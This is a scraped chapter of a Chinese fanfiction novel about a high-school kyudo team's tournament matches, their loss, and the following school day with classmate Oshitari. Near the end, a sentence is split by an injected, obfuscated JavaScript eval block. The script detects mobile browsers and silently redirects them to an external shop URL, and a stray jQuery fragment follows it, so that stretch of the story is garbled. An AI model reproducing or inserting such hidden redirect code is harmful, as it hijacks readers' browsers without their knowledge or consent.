文趣网 > 都市小说 > [网王/忍足]落点未定 > 19. 每个人的四支箭
    预选结束后,决胜轮的对阵表被贴在一楼大厅。

    松田挤进去看了一遍,又挤出来,头发上的发夹少了一只。

    “第一场是森川。”她扶着膝盖喘气,“十五分钟后进第三控。”

    “发夹呢?”野泽问。

    “什么发夹?”

    野泽抬手指了指她的额头。

    松田摸了两下,转头望向公告板前密得几乎没有缝隙的人群,脸上的喜悦很快变成绝望。

    “去年文化祭买的。”

    “比赛结束再找。”宫下把刚收好的弓袋重新打开,“正选先去准备。”

    “可是——”

    “我帮你看着。”高濑说。

    松田立刻握住她的手:“拜托了。如果找不到,至少帮我确认最后落在谁脚下。”

    高濑抽回手:“我尽量只找发夹。”

    午后的场馆比上午闷热。

    空调没有完全压住观众席与候场区聚在一起的热气。靠近射场的长廊里全是穿着道服的学生,白色衣袖偶尔擦过,带起一点洗衣剂和弓具蜡混合的气味。

    森川高中的选手已经坐在第二控。

    两支队伍隔着不远的距离,各自低头检查箭羽。对方的大前似乎认识仓桥,进场前朝她笑了一下。仓桥也点头回应,等人转回去才压低声音说:

    “去年新人赛输给过她们。”

    野泽把视线从对面收回来。

    “你怎么不早说?”

    “早说会改变立顺吗?”

    “不会。”

    “那就现在说。”

    “可我需要一点时间产生复仇心。”

    “弓道不需要复仇心。”

    “那你去年输了以后为什么把对方的成绩记到现在?”

    仓桥被问住,索性闭上眼睛,不再理她。

    小町坐在第四位。

    她将四支箭依次检查完,箭尾朝同一方向摆好。隔壁队伍也安静下来,只有候场区外的广播还在通报上午预选成绩。

    森川高中以十四中晋级,比冰帝少一中。

    这不能说明下一轮结果。

    每一轮的二十支箭都会重新计算,上午的十五中不会被带进现在的记分板。小町很清楚这一点,脑中却还是自动排出了双方五名选手的预选成绩。

    森川的大前四中。

    第二位三中。

    剩下三人分别是——

    一只手伸到她面前。

    宫下掌心里放着松田早晨分发的御守。

    “刚才从你弓袋里掉出来了。”

    小町接过来。

    “比赛时不能带进去。”

    “我知道。”

    她向候场区四周看了一圈。书包被留在更衣柜里,弓袋也要暂时交给替补保管。

    宫下将自己的号码布向上拉了一点。

    “放我这边吧。”

    “道服没有口袋。”

    “护胸里面可以暂时夹住。松田刚才就是这么要求我的。”

    小町这才发现,宫下胸前露出一小截浅粉色的绳结。与黑白分明的弓道服放在一起,显得格外突兀。

    “不会掉吗?”

    “已经掉过两次了。”

    小町笑了一下。

    进场广播在这时响起。宫下接过御守,和自己的那只叠在一起,重新夹好。

    “走吧。”

    两支队伍同时进入射场。

    森川在一号射场,冰帝在二号。十只靶依次排开,两边的记录员同时举起示意旗。

    第一轮,冰帝三中。

    森川也是三中。

    第二轮结束,比分六比六。

    第三轮,仓桥和高濑命中,野泽失。小町的箭落在靶面左下方,宫下最后一箭擦过靶边。

    八比九。

    从射位退下来时,小町能听见看台上的议论。她没有抬头,仍然知道电子屏已经更新比分,冰帝的名字被放在落后一栏。

    只剩最后五支箭。

    仓桥站起。

    她拉弓的速度比上午稍快,离弦却很稳。箭落中以后,冰帝的部员席传来一声没来得及压住的“好”。

    野泽的箭也中。

    高濑站起来时,森川已经连续射中两箭。看台上的声音一阵高过一阵,两个射场的节奏开始错开。

    高濑没有等待安静。

    她抬起弓,箭从掌间离开。

    中。

    小町起身。

    十一比十一。

    森川的第四位刚刚射完最后一箭,电子屏上的数字变成十二。对方的落仍然没有出手。

    如果小町失,宫下与对方最后一人便会在一分差距下决定结果。

    这个念头只存在了很短的一瞬。

    上午第三支箭偏出以后,她已经知道继续往下计算会发生什么。数字一旦被放进弓里,原本只需要落向靶面的箭,便会突然多出许多必须承担的东西。

    小町看向自己的靶。

    抬弓。

    开弓。

    弓弦离手的声音与隔壁射场几乎重合。

    两支箭先后落中。

    十三比十三。

    宫下站起时,场馆里反而比刚才安静。森川的落已经完成四射,冰帝还剩最后一箭。

    命中便进入竞射。

    失手,比赛结束。

    小町跪坐在原位,视线落在前方。她看不见宫下的表情,只能看见她展开的双臂与缓慢打开的弓。

    会比平时长。

    宫下没有急着离弦。

    看台上有人咳嗽,记录席旁传来纸张翻动的声音。她仍然保持原来的姿势,直到弓弦终于从手指间离开。

    箭落中。

    两队需要进行同中竞射。

    退出射场以后,野泽靠着墙长长地呼出一口气。

    “我刚才差点忘了呼吸。”

    仓桥看她一眼:“你射箭的时候记得就行。”

    “我说的是宫下学姐最后那支。”

    “我也听见了。”宫下走在最后,“声音很大。”

    “对不起。”

    “道歉以前,先准备竞射。”

    同中竞射每人一箭。

    不再计算各自的四射成绩,只比较两支队伍的总中数。五个人依照原来的立顺重新进场,直到分出胜负。

    松田把她们的替矢送进候场区。她脸上的发夹已经找回来了,位置却从右边换到了左边。

    “掉在公告板下面。”她小声说,“没有被踩。”

    “恭喜。”小町接过箭。

    “现在不是恭喜这个的时候吧?”

    “否则什么时候恭喜?”

    松田认真想了一下,觉得很有道理。

    重新进场前,北川只说了一句话。

    “不要等别人的结果。”

    仓桥的第一箭命中。

    森川的大前也中。

    轮到第二位,野泽的箭落在靶外,对面却顺利命中。冰帝席位传来一阵压低的吸气声。

    零比一的差距维持到高濑。

    高濑中,森川第三位失。

    比分重新回到二比二。

    小町站起来。

    她听见野泽在身后坐下时,膝盖碰到地板的声音。很轻,仍然比平时急了一点。

    如果她射失,宫下便必须命中,而且还要等待对方失手。

    如果她射中——

    小町将弓举过头顶。

    她今天已经射过九支箭。

    八个圆,一个叉。那支箭偏向右侧,原因清楚得几乎不需要复盘。

    小町向左右展开。

    箭落中。

    她回到跪坐的位置。

    森川第四位的箭擦过靶框,弹入安土。

    冰帝反超一中。

    宫下的最后一箭命中时,胜负已经没有再留到对面手里。森川的落同样射中,最终比分四比三。

    退场行礼以后,野泽才猛地抱住高濑。

    “你救了我。”

    “我只是射了自己的。”

    “这时候可以不用这么冷静。”

    “那我要说什么?”

    “说你刚才其实也很害怕。”

    高濑抱着弓,被她晃得站不稳。

    “我比较害怕你把我的弦扯断。”

    仓桥终于笑出声。

    第一轮结束以后,她们只有不到半小时的休息时间。

    下一场对手是明成女子高中。对方在预选中射出十六中,是上午成绩最高的队伍之一。

    松田没有再提御守。她抱着五个人的箭筒坐在看台出口,看到有人经过就立刻把腿收起来,等人走远又重新伸直。仓桥吃掉早晨剩下的第四个饭团,野泽则靠在墙边闭目休息。

    小町拧开水瓶。

    她刚喝了一口,手机便在书包里振动。

    藤崎已经从校刊编辑部的即时页面看见结果。

    【进入下一轮了!】

    紧接着是一连串庆祝用的企鹅贴图。

    小町低头笑了一会儿,回复她们比赛还没有结束。消息刚刚发出去,向日便在群里问,竞射是不是与抢七差不多。

    宫下从旁边看了一眼。

    “你的朋友在讨论比赛?”

    “他们想用网球解释弓道。”

    “解释成功了吗?”

    “还没有。”

    忍足的消息混在群聊中间。

    【不要为难不同项目的规则。总之千岛赢了。】

    向日立即反驳。

    【明明是团体赢了。】

    小町的手指停在屏幕上。

    她还没来得及回复,广播已经叫到冰帝的名字。

    手机重新被放回柜子。

    这一次,小町跟着队伍进入第三控,经过电子屏时只扫了一眼对阵名单。

    冰帝对明成。

    她们仍然是二号射场。

    比赛开始以后,双方的差距始终没有拉开。

    第一轮,四比四。

    第二轮,冰帝三中,明成四中。

    第三轮结束时,比分变成十比十一。

    明成的节奏很稳定。即使有人失手,后面的选手也没有明显改变动作。她们既没有在命中后欢呼,也很少朝电子屏看,仿佛身边那支队伍不存在。

    最后一轮,仓桥中。

    野泽的箭偏出靶面。

    高濑中。

    十二比十三。

    明成前三人已经完成比赛,全部命中。她们最终还剩两支箭,至少领先一中。

    小町站起。

    她今天的第十四支箭。

    从预选到现在,她只有一支脱靶。无论是重新回到赛场后的第一场正式比赛,还是临时改变的射场与节奏,这个成绩都足够好。

    可她并没有因此轻松。

    只要这一箭落空,前面所有稳定的命中都会被重新摆上秤盘。

    小町走到射位。

    她的脚尖落在标记线上,鞋底隔着地板传来一层微凉的触感。弓身贴进左掌,弽带勒住右手拇指。她抬起手臂,肩胛骨缓慢打开,视线越过箭簇,落向二十八米外的靶面。

    黑色的圆心在风里安静地等着。

    这一刻,她忽然想起了那场比赛。

    第一支箭离靶心偏了半寸,观众席传出一声很轻的吸气。

    第二支箭擦着靶边落下,记录员低头写字,笔尖划过纸面的声音清楚得令人难堪。

    第三支箭迟迟没有射出。她听见身后有人喊自己的名字,听见队友压低声音交换位置。弓弦在指间发颤,最后松开时,箭飞向了完全错误的方向。

    那之后的很长一段时间,她都记得那三声落空。

    它们随着弓道场的风、转学搬家的车、储藏室里没有打开的弓箱,一起涌回此刻。旧校的射场,雨天的车窗,成绩表上被红笔圈出的名字,还有那些望向她的眼睛——所有画面都在同一瞬间掠过,快得像一场没有剪辑的录像。

    小町看见了。

    她让它们继续往前。

    记忆从视线两侧掠过去,撞上肩膀,擦过手腕,最后被弓身挡在身后。它们仍然存在,却没有再占据靶心的位置。

    他们在看。

    记录席在等。

    观众席的目光从四面八方落过来。

    那又怎么样?

    她练习了这么久,练习在无数次重复里把身体交给弓,原本就是为了让这一箭在比赛里被看见。

    这一次,她不需要先把所有人的目光赶走。

    她只要完成自己的动作。

    小町继续开弓。

    弓臂在视野中展开,弦被拉到尽头。左手没有停顿,右肩也没有向后缩。她等到箭尖经过那个熟悉的位置,等到呼吸落进腹部,等到身体里最后一点迟疑也被拉成一条笔直的线。

    然后松手。

    弦音清亮地响起。

    那支箭穿过风。

    穿过旧校射场上重叠的三次失误,穿过看台上曾经令她无法呼吸的目光,穿过她反复追问过的“为什么偏了”,径直飞向二十八米外的靶面。

    箭簇撞上黑色圆心。

    一声闷响。

    箭尾剧烈颤动几下,停在靶心偏左的位置。

    中。

    小町退回自己的位置。

    十三比十三。

    明成的第四位也中。

    十三比十四。

    宫下起身。

    只要她命中,冰帝仍然有机会等待对方最后一箭失手,再次进入竞射。

    小町望着她的背影。

    开弓时,宫下的右肩比刚才低了一点。

    这个变化很小。坐在看台上的人未必看得见,小町却在每天的团体训练里见过许多次。

    她的脑中闪过一个念头。

    如果站在最后的是自己——

    宫下离弦。

    箭落在靶外。

    冰帝停在十三中。

    明成最后一名选手完成射箭。她的箭同样没有命中,最终比分仍然是十三比十四。

    比赛结束。

    双方退场行礼。

    走进选手通道以后,谁都没有立刻开口。

    野泽低头看着自己的箭。她在最后一轮脱靶,如果那支箭命中,比分便会进入同中竞射。

    宫下站在最前面,手里拿着需要交回记录处的确认单。她走了几步,忽然停下来。

    “抱歉。”

    她没有回头。

    这句话落在过道里,听起来比平时更轻。

    “学姐。”野泽先抬起头,“我也失了一支。”

    “我知道。”

    “那就不能只让你道歉。”

    仓桥走过来,从宫下手里抽走确认单。

    “预选以后射了两轮,谁没有失过?”

    小町没有说话。

    她在这一轮四射皆中。

    记录表上的四个圆排列得很整齐。比赛时,她没有再去分辨看台上的人正在议论谁,也没有因为前一位失手便急着替队伍追回什么。至少站在射位上的那几分钟,她确实只看着自己的靶。

    可比赛结束以后,那些被她暂时挡在外面的念头还是回来了。

    如果站在最后的是自己呢?

    这个念头出现得很快,甚至快过了她的自觉。等小町意识到时,她已经在心里重新排过一次立顺,算完了几个根本不会发生的结果。

    她知道这种比较没有意义。

    立顺不会让同一支箭自动改变落点。第一场最后一箭,是宫下把她们送进竞射;竞射时,她也稳稳射中了自己负责的那一支。没有哪一步可以被轻易抹掉,再换成另一个人。

    可小町还是想站在那里。

    不是觉得宫下不够好。

    只是她依然想成为那个最后拿起弓、让所有人等待结果的人。

    宫下终于转过身,看见她仍站在记录席旁。

    “还在看成绩?”

    小町回过神:“嗯。”

    “千岛今天射得很好。”

    宫下把成绩确认单重新拿回来,在最下面签上名字。

    小町低头看了眼那张记录表。

    “学姐也射中了。”

    “竞射那一箭没有。”

    “但第一场最后一箭,是学姐把我们送进竞射的。”小町顿了顿,“我刚才只顾着看最后那个叉,差点把前面的忘了。”

    宫下看着她,像是有些意外。

    远处传来松田叫人的声音。野泽正在催她们过去拍合照,仓桥已经把弓袋挪到一旁,高濑蹲在地上重新系松开的鞋带。大家脸上多少还留着比赛失利后的疲惫,却没有谁真的停在原地。

    小町握住记录表的一角。

    “不过,我还是想过。”她说,“如果最后站在那里的是我,会不会不一样。”

    这句话说出口,比藏在心里时显得更不讲道理。

    宫下却没有立刻反驳。

    “换成我坐在后面,看见别人四射皆中,大概也会想。”

    “学姐也会?”

    “当然。”宫下重新拿起笔,在成绩确认单最下方签上名字,“又不是穿上弓道服,人就会突然变得毫无波澜。”

    小町看着她落笔。

    “那怎么办?”

    “先回去。”宫下把记录表递给她,朝正在等她们的队友偏了偏头,“这件事不用今天想完。”

    松田已经等得不耐烦,双手拢在嘴边又喊了一遍。野泽嫌她声音太小,跟着一起叫起来,结果被仓桥一人敲了一下脑袋。

    小町抱好记录表,终于笑了一下。

    “来了。”

    她和宫下一起朝她们走过去。

    松田从包里拿出五瓶饮料。

    “自动贩卖机里只剩这些。”她说,“柠檬、葡萄、无糖茶和两个运动饮料。你们自己选。”

    野泽拿走葡萄味。

    仓桥选了无糖茶。

    高濑站在两瓶一模一样的运动饮料前,认真比较保质期。

    “有什么区别?”松田问。

    “这一瓶晚三天。”

    “今天都会喝完吧?”

    “那就没有区别。”

    宫下拿了柠檬味。

    剩下最后一瓶运动饮料,小町没有选择的余地。她拧开瓶盖喝了一口,味道比想象中甜。

    北川让她们先去换衣服。

    比赛复盘安排在星期一,今天不再讨论动作。其他部员开始收拾弓具,松田重新展开那面卷好的小旗,绕到每个人面前让她们在背面签名。

    “为什么输了也要签?”野泽问。

    “旗已经买了。”

    “可以留到下次。”

    “下次要用新的。”

    “你到底准备了多少面旗?”

    松田没有回答。

    回程的电车比早晨安静许多。

    傍晚的站台上全是刚刚结束社团活动的学生。棒球部的球袋、剑道部的竹刀与冰帝过长的弓袋挤在一起,几乎占满候车区的一侧。

    列车驶来时,夕阳正从高架桥另一端落下。

    五个人依次上车,将弓竖在车门附近。她们已经换回学校运动服,头发仍保留着比赛时束起的样子,白色足袋则被整齐收进各自的布袋里。只有袖口和发梢沾着一点场馆里留下的汗意。

    仓桥坐下不久便睡着了。她抱着箭筒,额头抵在弓袋上,列车每次减速都会轻轻撞一下。

    野泽与高濑站在她旁边。

    “要叫醒她吗?”野泽问。

    “下一站不是。”

    “我是说,她这样醒来会很痛。”

    “现在叫醒也会很痛。”

    “为什么?”

    “她会发现我们输了。”

    野泽安静下来。

    过了一会儿,她将自己的毛巾叠好,垫在仓桥额头与弓袋之间。

    宫下坐在车厢最里面。

    她大概真的很累,手臂抱在胸前,眉心却没有完全松开。两个浅粉色御守仍被握在手中,绳结从指缝间露出来。

    小町站在她面前,一只手扶着吊环,另一只手握住两人的弓袋。

    电车经过河桥。

    夕阳将水面照得发亮,车窗里映出一排背弓的少女。她们有人睡着,有人低头回复社团群里的消息。比赛时整齐的道服已经被收进行李袋,弓与箭却还跟在身边,随着列车轻轻晃动。

    隔壁车厢有小孩子趴在门边,好奇地看了很久。

    “妈妈,那是什么?”

    他的母亲顺着视线望过来。

    “是弓。”

    “她们是弓箭手吗?”

    小町听见以后,忍不住转过脸。

    小孩子仍然看着她们,眼睛亮得像是刚刚在电车上遇见了某种只会出现在故事里的人。

    野泽也听见了,悄悄挺直背。

    “突然觉得很帅。”她压低声音。

    高濑看了她一眼。

    “刚才下楼梯时,你的箭筒卡在扶手上了。”

    “不要在这种时候提。”

    小町笑起来。

    列车驶离河桥,夕阳被沿途的建筑挡住。弓袋与少女们的影子仍然留在车窗上,时而清晰,时而被外面飞快掠过的灯光照

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842510|211672||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    亮。

    小町扶着长弓,掌心贴在自己每天握住的位置。

    今天已经结束。

    可弓还在她身边。

    大家在校门外分开。小町回到家以后,把弓放进储藏室,洗完澡才重新打开手机。

    群聊里的消息已经超过一百条。

    藤崎不知道从哪里找到了比赛直播页面,截了许多模糊的画面。小町站在射位上的那张尤其不清楚,弓身被画面压成一条弯曲的黑线,脸也只剩下侧面轮廓。

    向日坚持那一箭应该命中,因为她离场时表情看起来很平静。

    水野问他什么时候学会通过表情判断弓道成绩。

    向日回答:

    【忍足也会。】

    后面隔了几分钟,忍足才出现。

    【我只会判断训练结束后的。】

    藤崎立刻追问区别。

    忍足没有回答。

    小町向上翻了很久,终于在一连串讨论中找到他们发来的第一张应援照片。她将照片保存下来,又顺手把松田下午传进弓道部群里的合照也存进相册。

    那张照片拍得很乱。

    仓桥嘴里还有饭团,野泽笑得弯着腰,宫下胸前的参赛证是反的,高濑的鞋踩住了她的弓袋。北川站在最边上,手里捏着粉色御守,脸上仍然没有笑。

    小町自己也没来得及整理表情。

    快门按下时,她正侧过脸看松田,唇角还留着一点笑意。

    第二天到学校,藤崎一看见她便从座位上站起来。

    “八强!”

    她喊得过于响亮,附近几排学生都回过头。

    小町刚走进教室,书包还挂在肩上。

    “没有八强。”她说,“第一轮之前还有预选,最后只进了前八。”

    “那不是一样吗?”

    “不一样。”

    水野从后面按住藤崎的肩膀,让她先坐下。佐仓递来一只装着小饼干的纸盒,盒盖上画着五支歪歪扭扭的箭。

    “庆祝进入前八。”她说。

    “是慰问。”藤崎纠正,“如果说庆祝,她又会解释没有拿到名次。”

    小町接过纸盒。

    “我听见了。”

    “就是让你听见。”

    向日从另一边凑过来。

    “竞射真的很像抢七。”

    “哪里像?”

    “都不能失误。”

    “所有比赛都不能失误吧?”

    “网球前面还可以丢分,抢七不行。”

    “你上次抢七不是也丢了两分?”

    “最后赢了。”

    “那还是可以失误。”

    向日张了张嘴,开始怀疑自己的解释究竟出了什么问题。

    忍足坐在旁边翻书,没有参与。他面前还是放着小町借给他的推理小说,书页间夹着一张便利店收据,大概被临时用作书签。

    等早自习预备铃响起,其他人才各自回到座位。

    小町把饼干放进抽屉。

    忍足将推理小说推过来。

    “看完了。”

    “凶手猜到了吗?”

    “没有。”

    “第三章已经很明显了。”

    “千岛同学对明显的标准比较严格。”

    小町拿起书,发现那张收据仍夹在里面。

    “书签。”

    “忘了拿。”

    她将收据抽出来,递还给他。

    忍足接过纸条,折了两下,放进自己的笔袋。

    “昨天最后一轮,四射皆中?”他问。

    小町看向他:“你从哪里知道的?”

    “藤崎找到的比赛记录。”

    “真帆到底为什么比我还清楚?”

    “她说这是校刊编辑需要具备的调查能力。”

    “我们弓道部没有答应接受采访。”

    “所以她暂时只在班里宣传。”

    小町低头翻开小说。

    借出去以前平整的书角被压出一道很浅的折痕。忍足大概也发现了,伸手替她把那一页抚平。

    “你自己射得很好。”他说。

    “嗯。”

    “但是看起来不太高兴。”

    他的语气并不像在追问,更像是确认一件已经观察了片刻的事。

    “射中最后一支的时候,我很高兴。”她说,“至少当时是。”

    箭落上靶面,记分席举起圆牌。那一刻,她确实听见了自己的呼吸,也清楚地知道那一支箭属于她。

    只是从射位退下来以后,她首先看见的是总分。

    十三比十四。

    “后来看到成绩,就有点高兴不起来了。”

    忍足低头看着她合起的书。

    “因为团体赛输了?”

    “也不全是。”小町想了一会儿,“大家都在说我四射皆中,可如果只把我的四支箭拿出来,好像那场比赛就变成了另一回事。”

    “但它们本来也是比赛的一部分。”

    “所以我没有说它们不算。”

    “只是暂时不想单独拿出来庆祝?”

    小町抬眼看他。

    这句话比她自己刚才说得更加准确。

    “差不多。”

    忍足点了点头,没有急着劝她想开。

    窗外有人从走廊跑过去,脚步声一直响到楼梯口。小町重新把书翻开,却没有立刻找到刚才读到的位置。

    过了一会儿,忍足才说:“那我刚才好像问错了。”

    “哪里错了?”

    “我以为你不肯承认自己射得好。”

    “我还没有严格到否认靶纸。”

    “那就好。”他靠回椅背,“不然我还要想办法证明那四个圆确实存在。”

    “成绩表上写得很清楚,不需要你证明。”

    “嗯,所以省事了。”

    小町看了他一眼。

    忍足已经低下头,像是准备继续看自己的书。只是过了半天,那一页也没有翻过去。

    小町用指尖碰了碰书页。

    “其实最后一支射得最好。”

    忍足重新抬起眼。

    “哪一点最好?”

    “离靶心最近。”

    她说完,自己也觉得这种补充来得有些迟。但忍足只是笑了一下,没有表现得像是终于说服了她。

    “如果每个人都能把自己的四支箭射好,结果就会不一样。”他说,“至少你已经完成了自己的部分。”

    这句话没有恶意,甚至足够合理。

    小町却想起宫下最后一支脱靶时,自己脑中出现的那个念头。

    “团体赛不是把五个人分开以后,再把成绩加起来那么简单。”

    忍足看着她。

    “虽然最后确实会加起来。”小町又补了一句。

    “那我刚才说得有点简单。”

    他承认得很快,没有继续解释。

    高桥老师从前门走进来,教室里的声音渐渐低下。忍足翻开课本,小町也将推理小说收进抽屉。

    早自习进行到一半,窗外忽然落起雨。

    雨不大,只在玻璃上留下细密的水痕。小町抄完黑板上的单词,手伸进书包,摸到昨天的比赛记录。

    十三比十四。

    她没有取出来。

    放学后,小町要去弓具店换一根备用弦。

    走到车站附近时,忍足从后面跟了上来。他背着网球包,手里还拿着早上那张折成几层的收据。

    “今天没有训练?”小町问。

    “场地积水,改成室内体能。提前结束了。”

    “向日君呢?”

    “被宍户留下加练。”

    “你不用?”

    “我动作标准。”

    小町看了他一眼。

    忍足笑起来。

    “好吧,我完成得比较快。”

    两人在路口等红灯。

    小町去弓具店,忍足要到前面书店取预订的小说,正好有两站同路。电车进站以后,他们并排站在车门旁,谁也没有特意继续早上的话题。

    忍足拿出一本新书。

    封面上的男女主角在雪地里背对彼此,书名占了整整两行。

    “又是恋爱小说?”小町问。

    “推理。”

    “看起来不像。”

    “女主角在婚礼前失踪。”

    “被杀了?”

    “只是逃婚。”

    “那还是恋爱小说。”

    “千岛对类型的判断太武断了。”

    电车开出站台。

    忍足翻了两页,又把书合上。小町原本以为他要继续替小说辩护,他却看着玻璃上掠过的倒影,隔了片刻才说:

    “昨天输了,今天还是要去弓具店?”

    “备用弦磨损了。”

    “换完呢?”

    “回学校训练。”

    “周一不是休息日?”

    “宫下学姐她们也会去。北川老师说复盘之前可以自主练习。”

    忍足点点头。

    “原来输了以后,第二天还是会训练。”

    小町听出这句话有些熟悉,转过脸看他。

    “只是觉得我们在这一点上很像。”

    “哪里像?”

    “都不会因为结果不好,就突然不去了。”

    他说得很平常。

    小町本来想反驳。她曾经确实因为一场比赛,把弓留在纸箱里很久;直到转入冰帝,才重新站回二十八米外。

    可那并不代表她以后还会这样。

    “当然要去。”她说,“昨天的箭已经射完了。”

    “嗯。”

    忍足重新翻开书。

    下一站到达时,小町走下电车。忍足要继续坐到书店附近,两个人隔着即将关闭的车门道别。

    “训练别太晚。”他说。

    “你也是。”

    车门合上。

    列车向前驶去,忍足低头继续看那本怎么看都不像推理小说的书。

    小町在站台上停了一会儿,才转身走向出站口。

    手机在包里振动。

    弓道部群聊里,松田重新发了一遍昨天的合照。

    【我把闭眼的地方修好了。】

    小町点开照片。

    松田的眼睛被修得又圆又亮,与整张脸完全不在同一个方向。仓桥回复了一串问号,野泽正在追问她究竟用了什么软件。

    宫下没有评价照片,只发了一句:

    【十分钟后道场集合。】

    小町保存了那张修坏的合照,加快脚步走向弓具店。